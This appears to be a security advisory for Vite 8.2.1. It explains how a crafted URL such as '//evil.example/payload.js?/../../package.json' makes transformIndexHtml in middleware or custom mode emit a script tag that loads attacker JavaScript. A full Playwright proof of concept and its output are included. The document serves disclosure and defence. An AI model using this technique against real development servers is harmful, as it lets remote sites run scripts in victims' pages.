Vite: Cross origin script execution through Vite custom middleware

Summary

When accessing a malicious site while a dev server using Vite is running, that site was able to load scripts in a page served by the dev server.

Impact

Only apps that match the following conditions are affected:

• the dev server passes an unchanged browser request URL to server.transformIndexHtml: this is normally used for server.middlewareMode: true or appType: 'custom'. The internal call for appType: 'spa' and appType: 'mpa' does not match this.
• the transformed HTML contains an inline module script
• from the script in the page served by the dev server, the app stores sensitive values in the location accessible or allows critical actions

Details

Vite's SSR guide for 8.2.1 documents the affected setup. The application embeds Vite in middleware mode, reads trusted HTML, and passes the browser's unchanged request URL to the transform:

const url = req.originalUrl
template = await vite.transformIndexHtml(url, template)

For a development server at http://localhost:5173, an attacker can send this URL:

http://localhost:5173//evil.example/payload.js?/../../package.json

In Vite 8.2.1, `createDevHtmlTransformFn` and `getHtmlFilename` in `indexHtml.ts` use the request URL as both the transform path and the input to path.join. The value passed to path.join still includes its query text.

Chromium preserves /../../package.json because it follows ? and is therefore query text. Vite treats the same characters as filesystem path components, so the .. components resolve the derived filename to the existing project package.json.

The existing file branch in `indexHtml.ts` checks that filename with fs.existsSync, then preserves the htmlPath supplied by the attacker as proxyModuleUrl. The inline module rewrite in the same file writes that value into the generated src:

<script type="module" src="//evil.example/payload.js?/../../package.json?html-proxy&index=0.js"></script>

The generated value is a valid URL. Its leading // tells the browser to request the module from evil.example using the Vite page's scheme. The attacker returns JavaScript for that request, and Chromium executes it in the Vite page.

PoC

import { createServer as createHttpServer } from 'node:http'
import { createRequire } from 'node:module'
import { dirname, join } from 'node:path'
import { fileURLToPath, pathToFileURL } from 'node:url'

const directory = dirname(fileURLToPath(import.meta.url))
const require = createRequire(join(directory, 'package.json'))
const { chromium } = require('playwright-chromium')
const viteModule = await import(
  pathToFileURL(require.resolve('vite')).href
)
const createViteServer =
  viteModule.createServer ?? viteModule.default.createServer

// This loopback server stands in for a separately hosted attacker website.
const attackerPort = 4173
const exploitPath = `//127.0.0.1:${attackerPort}/payload.js?/../../package.json`
const html = '<script type="module">document.body.textContent = "Vite app"</script>'

const listen = (server, port = 0) =>
  new Promise((resolve, reject) => {
    server.once('error', reject)
    server.listen(port, '127.0.0.1', () => {
      server.off('error', reject)
      resolve(server.address().port)
    })
  })

const close = (server) =>
  new Promise((resolve, reject) => {
    server.close((error) => (error ? reject(error) : resolve()))
  })

let attackerRequest = null
const attacker = createHttpServer((request, response) => {
  attackerRequest = request.url
  response.writeHead(200, {
    'access-control-allow-origin': '*',
    'content-type': 'text/javascript',
  })
  response.end(
    "document.documentElement.dataset.viteXssPoc = 'executed'",
  )
})

const vite = await createViteServer({
  appType: 'custom',
  configFile: false,
  root: directory,
  server: {
    hmr: false,
    middlewareMode: true,
    watch: null,
  },
})

const application = createHttpServer((request, response) => {
  vite.middlewares(request, response, async (error) => {
    if (error) {
      response.destroy(error)
      return
    }

    try {
      const transformed = await vite.transformIndexHtml(request.url, html)
      response.writeHead(200, { 'content-type': 'text/html' })
      response.end(transformed)
    } catch (transformError) {
      response.destroy(transformError)
    }
  })
})

await listen(attacker, attackerPort)
const applicationPort = await listen(application)
const browser = await chromium.launch({ headless: true })

try {
  const page = await browser.newPage()
  await page.goto(`http://127.0.0.1:${applicationPort}${exploitPath}`)
  await page.waitForFunction(
    () => document.documentElement.dataset.viteXssPoc === 'executed',
  )

  console.log(`attacker request: ${attackerRequest}`)
  console.log('JavaScript from the attacker server executed in the Vite page')
} finally {
  await browser.close()
  await close(application)
  await vite.close()
  await close(attacker)
}

Observed output on Vite 8.2.1:

attacker request: /payload.js?/../../package.json?html-proxy&index=0.js
JavaScript from the attacker server executed in the Vite page